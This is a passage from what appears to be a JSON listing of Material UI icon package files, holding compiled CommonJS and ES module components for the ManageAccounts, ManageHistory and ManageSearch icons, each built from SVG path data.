    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.67 13.02c-.22-.01-.44-.02-.67-.02-2.42 0-4.68.67-6.61 1.82-.88.52-1.39 1.5-1.39 2.53V19c0 .55.45 1 1 1h8.26c-.79-1.13-1.26-2.51-1.26-4 0-1.07.25-2.07.67-2.98\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.75 16c0-.22-.03-.42-.06-.63l.84-.73c.18-.16.22-.42.1-.63l-.59-1.02c-.12-.21-.37-.3-.59-.22l-1.06.36q-.48-.405-1.08-.63l-.22-1.09c-.05-.23-.25-.4-.49-.4h-1.18c-.24 0-.44.17-.49.4l-.22 1.09q-.6.225-1.08.63l-1.06-.36c-.23-.08-.47.02-.59.22l-.59 1.02c-.12.21-.08.47.1.63l.84.73c-.03.21-.06.41-.06.63s.03.42.06.63l-.84.73c-.18.16-.22.42-.1.63l.59 1.02c.12.21.37.3.59.22l1.06-.36q.48.405 1.08.63l.22 1.09c.05.23.25.4.49.4h1.18c.24 0 .44-.17.49-.4l.22-1.09q.6-.225 1.08-.63l1.06.36c.23.08.47-.02.59-.22l.59-1.02c.12-.21.08-.47-.1-.63l-.84-.73c.03-.21.06-.41.06-.63M17 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\")], 'ManageAccountsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageAccountsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.67 13.02c-.22-.01-.44-.02-.67-.02-2.42 0-4.68.67-6.61 1.82-.88.52-1.39 1.5-1.39 2.53V20h9.26c-.79-1.13-1.26-2.51-1.26-4 0-1.07.25-2.07.67-2.98\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.75 16c0-.22-.03-.42-.06-.63l1.14-1.01-1-1.73-1.45.49q-.48-.405-1.08-.63L18 11h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1.01c-.03.21-.06.41-.06.63s.03.42.06.63l-1.14 1.01 1 1.73 1.45-.49q.48.405 1.08.63L16 21h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1.01c.03-.21.06-.41.06-.63M17 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\")], 'ManageAccountsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageAccountsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.67 13.02c-.22-.01-.44-.02-.67-.02-2.42 0-4.68.67-6.61 1.82-.88.52-1.39 1.5-1.39 2.53V20h9.26c-.79-1.13-1.26-2.51-1.26-4 0-1.07.25-2.07.67-2.98\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.75 16c0-.22-.03-.42-.06-.63l1.14-1.01-1-1.73-1.45.49q-.48-.405-1.08-.63L18 11h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1.01c-.03.21-.06.41-.06.63s.03.42.06.63l-1.14 1.01 1 1.73 1.45-.49q.48.405 1.08.63L16 21h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1.01c.03-.21.06-.41.06-.63M17 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\")], 'ManageAccountsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageAccountsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16c0-.34.03-.67.08-.99-.03-.01-.05-.01-.08-.01-1.97 0-3.9.53-5.59 1.54-.25.14-.41.46-.41.81V18h6.29c-.19-.63-.29-1.3-.29-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18v-.65c0-.34.16-.66.41-.81C6.1 15.53 8.03 15 10 15c.03 0 .05 0 .08.01.1-.7.3-1.37.59-1.98-.22-.02-.44-.03-.67-.03-2.42 0-4.68.67-6.61 1.82-.88.52-1.39 1.5-1.39 2.53V20h9.26c-.42-.6-.75-1.28-.97-2zm6-6c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m10.83 6.63-1.45.49q-.48-.405-1.08-.63L18 11h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.03.21-.06.41-.06.63s.03.42.06.63l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L16 21h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.03-.21.06-.41.06-.63s-.03-.42-.06-.63l1.14-1zM17 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\")], 'ManageAccountsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageAccountsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16c0-.34.03-.67.08-.99-.03-.01-.05-.01-.08-.01-1.97 0-3.9.53-5.59 1.54-.25.14-.41.46-.41.81V18h6.29c-.19-.63-.29-1.3-.29-2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18v-.65c0-.34.16-.66.41-.81C6.1 15.53 8.03 15 10 15c.03 0 .05 0 .08.01.1-.7.3-1.37.59-1.98-.22-.02-.44-.03-.67-.03-2.42 0-4.68.67-6.61 1.82-.88.52-1.39 1.5-1.39 2.53V20h9.26c-.42-.6-.75-1.28-.97-2zm6-6c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m10.83 6.63-1.45.49q-.48-.405-1.08-.63L18 11h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.03.21-.06.41-.06.63s.03.42.06.63l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L16 21h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.03-.21.06-.41.06-.63s-.03-.42-.06-.63l1.14-1zM17 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\")], 'ManageAccountsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageHistory.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.69 18.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L20 14h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L18 24h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M19 21c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M11 7v5.41l2.36 2.36 1.04-1.79-1.4-1.39V7zm10 5c0-4.97-4.03-9-9-9-2.83 0-5.35 1.32-7 3.36V4H3v6h6V8H6.26C7.53 6.19 9.63 5 12 5c3.86 0 7 3.14 7 7zm-10.14 6.91c-2.99-.49-5.35-2.9-5.78-5.91H3.06c.5 4.5 4.31 8 8.94 8h.07z\"\n}), 'ManageHistory');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageHistory.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.69 18.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L20 14h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L18 24h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M19 21c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M11 7v5.41l2.36 2.36 1.04-1.79-1.4-1.39V7zm10 5c0-4.97-4.03-9-9-9-2.83 0-5.35 1.32-7 3.36V4H3v6h6V8H6.26C7.53 6.19 9.63 5 12 5c3.86 0 7 3.14 7 7zm-10.14 6.91c-2.99-.49-5.35-2.9-5.78-5.91H3.06c.5 4.5 4.31 8 8.94 8h.07z\"\n}), 'ManageHistory');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageHistoryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.69 18.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L20 14h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L18 24h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M19 21c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M11 7v5.41l2.36 2.36 1.04-1.79-1.4-1.39V7zm10 5c0-4.97-4.03-9-9-9-2.83 0-5.35 1.32-7 3.36V4H3v6h6V8H6.26C7.53 6.19 9.63 5 12 5c3.86 0 7 3.14 7 7zm-10.14 6.91c-2.99-.49-5.35-2.9-5.78-5.91H3.06c.5 4.5 4.31 8 8.94 8h.07z\"\n}), 'ManageHistoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageHistoryOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.69 18.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L20 14h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L18 24h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M19 21c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M11 7v5.41l2.36 2.36 1.04-1.79-1.4-1.39V7zm10 5c0-4.97-4.03-9-9-9-2.83 0-5.35 1.32-7 3.36V4H3v6h6V8H6.26C7.53 6.19 9.63 5 12 5c3.86 0 7 3.14 7 7zm-10.14 6.91c-2.99-.49-5.35-2.9-5.78-5.91H3.06c.5 4.5 4.31 8 8.94 8h.07z\"\n}), 'ManageHistoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageHistoryRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.75 19c0-.22-.03-.42-.06-.63l.84-.73c.18-.16.22-.42.1-.63l-.59-1.02c-.12-.21-.37-.3-.59-.22l-1.06.36q-.48-.405-1.08-.63l-.22-1.09c-.05-.23-.25-.4-.49-.4h-1.18c-.24 0-.44.17-.49.4l-.22 1.09q-.6.225-1.08.63l-1.06-.36c-.23-.08-.47.02-.59.22l-.59 1.02c-.12.21-.08.47.1.63l.84.73c-.03.21-.06.41-.06.63s.03.42.06.63l-.84.73c-.18.16-.22.42-.1.63l.59 1.02c.12.21.37.3.59.22l1.06-.36q.48.405 1.08.63l.22 1.09c.05.23.25.4.49.4h1.18c.24 0 .44-.17.49-.4l.22-1.09q.6-.225 1.08-.63l1.06.36c.23.08.47-.02.59-.22l.59-1.02c.12-.21.08-.47-.1-.63l-.84-.73c.03-.21.06-.41.06-.63M19 21c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M12 7c-.55 0-1 .45-1 1v4c0 .27.11.52.29.71l2.07 2.07 1.04-1.79-1.4-1.4V8c0-.55-.45-1-1-1m-7.74 6c-.65 0-1.14.61-.98 1.24C4.28 18.13 7.8 21 12 21h.07l-1.21-2.09c-2.75-.45-4.96-2.51-5.64-5.18-.11-.44-.51-.73-.96-.73M4 10c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v1.36C6.65 4.32 9.17 3 12 3c4.97 0 9 4.03 9 9h-2c0-3.86-3.14-7-7-7-2.37 0-4.47 1.19-5.74 3H8c.55 0 1 .45 1 1s-.45 1-1 1z\"\n}), 'ManageHistoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageHistoryRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.75 19c0-.22-.03-.42-.06-.63l.84-.73c.18-.16.22-.42.1-.63l-.59-1.02c-.12-.21-.37-.3-.59-.22l-1.06.36q-.48-.405-1.08-.63l-.22-1.09c-.05-.23-.25-.4-.49-.4h-1.18c-.24 0-.44.17-.49.4l-.22 1.09q-.6.225-1.08.63l-1.06-.36c-.23-.08-.47.02-.59.22l-.59 1.02c-.12.21-.08.47.1.63l.84.73c-.03.21-.06.41-.06.63s.03.42.06.63l-.84.73c-.18.16-.22.42-.1.63l.59 1.02c.12.21.37.3.59.22l1.06-.36q.48.405 1.08.63l.22 1.09c.05.23.25.4.49.4h1.18c.24 0 .44-.17.49-.4l.22-1.09q.6-.225 1.08-.63l1.06.36c.23.08.47-.02.59-.22l.59-1.02c.12-.21.08-.47-.1-.63l-.84-.73c.03-.21.06-.41.06-.63M19 21c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M12 7c-.55 0-1 .45-1 1v4c0 .27.11.52.29.71l2.07 2.07 1.04-1.79-1.4-1.4V8c0-.55-.45-1-1-1m-7.74 6c-.65 0-1.14.61-.98 1.24C4.28 18.13 7.8 21 12 21h.07l-1.21-2.09c-2.75-.45-4.96-2.51-5.64-5.18-.11-.44-.51-.73-.96-.73M4 10c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v1.36C6.65 4.32 9.17 3 12 3c4.97 0 9 4.03 9 9h-2c0-3.86-3.14-7-7-7-2.37 0-4.47 1.19-5.74 3H8c.55 0 1 .45 1 1s-.45 1-1 1z\"\n}), 'ManageHistoryRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageHistorySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.69 18.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L20 14h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L18 24h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M19 21c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M11 7v5.41l2.36 2.36 1.04-1.79-1.4-1.39V7zm10 5c0-4.97-4.03-9-9-9-2.83 0-5.35 1.32-7 3.36V4H3v6h6V8H6.26C7.53 6.19 9.63 5 12 5c3.86 0 7 3.14 7 7zm-10.14 6.91c-2.99-.49-5.35-2.9-5.78-5.91H3.06c.5 4.5 4.31 8 8.94 8h.07z\"\n}), 'ManageHistorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageHistorySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.69 18.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L20 14h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L18 24h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M19 21c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M11 7v5.41l2.36 2.36 1.04-1.79-1.4-1.39V7zm10 5c0-4.97-4.03-9-9-9-2.83 0-5.35 1.32-7 3.36V4H3v6h6V8H6.26C7.53 6.19 9.63 5 12 5c3.86 0 7 3.14 7 7zm-10.14 6.91c-2.99-.49-5.35-2.9-5.78-5.91H3.06c.5 4.5 4.31 8 8.94 8h.07z\"\n}), 'ManageHistorySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageHistoryTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.69 18.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L20 14h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L18 24h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M19 21c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M11 7v5.41l2.36 2.36 1.04-1.79-1.4-1.39V7zm10 5c0-4.97-4.03-9-9-9-2.83 0-5.35 1.32-7 3.36V4H3v6h6V8H6.26C7.53 6.19 9.63 5 12 5c3.86 0 7 3.14 7 7zm-10.14 6.91c-2.99-.49-5.35-2.9-5.78-5.91H3.06c.5 4.5 4.31 8 8.94 8h.07z\"\n}), 'ManageHistoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageHistoryTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.69 18.37 1.14-1-1-1.73-1.45.49q-.48-.405-1.08-.63L20 14h-2l-.3 1.49q-.6.225-1.08.63l-1.45-.49-1 1.73 1.14 1c-.08.5-.08.76 0 1.26l-1.14 1 1 1.73 1.45-.49q.48.405 1.08.63L18 24h2l.3-1.49q.6-.225 1.08-.63l1.45.49 1-1.73-1.14-1c.08-.51.08-.77 0-1.27M19 21c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M11 7v5.41l2.36 2.36 1.04-1.79-1.4-1.39V7zm10 5c0-4.97-4.03-9-9-9-2.83 0-5.35 1.32-7 3.36V4H3v6h6V8H6.26C7.53 6.19 9.63 5 12 5c3.86 0 7 3.14 7 7zm-10.14 6.91c-2.99-.49-5.35-2.9-5.78-5.91H3.06c.5 4.5 4.31 8 8.94 8h.07z\"\n}), 'ManageHistoryTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageSearch.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 9H2V7h5zm0 3H2v2h5zm13.59 7-3.83-3.83c-.8.52-1.74.83-2.76.83-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5c0 1.02-.31 1.96-.83 2.75L22 17.59zM17 11c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3M2 19h10v-2H2z\"\n}), 'ManageSearch');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageSearch.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 9H2V7h5zm0 3H2v2h5zm13.59 7-3.83-3.83c-.8.52-1.74.83-2.76.83-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5c0 1.02-.31 1.96-.83 2.75L22 17.59zM17 11c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3M2 19h10v-2H2z\"\n}), 'ManageSearch');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageSearchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 9H2V7h5zm0 3H2v2h5zm13.59 7-3.83-3.83c-.8.52-1.74.83-2.76.83-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5c0 1.02-.31 1.96-.83 2.75L22 17.59zM17 11c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3M2 19h10v-2H2z\"\n}), 'ManageSearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageSearchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 9H2V7h5zm0 3H2v2h5zm13.59 7-3.83-3.83c-.8.52-1.74.83-2.76.83-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5c0 1.02-.31 1.96-.83 2.75L22 17.59zM17 11c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3M2 19h10v-2H2z\"\n}), 'ManageSearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageSearchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 9H3c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m0 3H3c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1m13.88 6.29-3.12-3.12c-.86.56-1.89.88-3 .82-2.37-.11-4.4-1.96-4.72-4.31-.44-3.35 2.45-6.18 5.83-5.61 1.95.33 3.57 1.85 4 3.78.33 1.46.01 2.82-.7 3.9l3.13 3.13c.39.39.39 1.02 0 1.41s-1.03.39-1.42 0M17 11c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3M3 19h8c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'ManageSearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageSearchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 9H3c-.55 0-1-.45-1-1s.45-1 1-1h3c.55 0 1 .45 1 1s-.45 1-1 1m0 3H3c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1m13.88 6.29-3.12-3.12c-.86.56-1.89.88-3 .82-2.37-.11-4.4-1.96-4.72-4.31-.44-3.35 2.45-6.18 5.83-5.61 1.95.33 3.57 1.85 4 3.78.33 1.46.01 2.82-.7 3.9l3.13 3.13c.39.39.39 1.02 0 1.41s-1.03.39-1.42 0M17 11c0-1.65-1.35-3-3-3s-3 1.35-3 3 1.35 3 3 3 3-1.35 3-3M3 19h8c.55 0 1-.45 1-1s-.45-1-1-1H3c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'ManageSearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ManageSearchSharp.js",
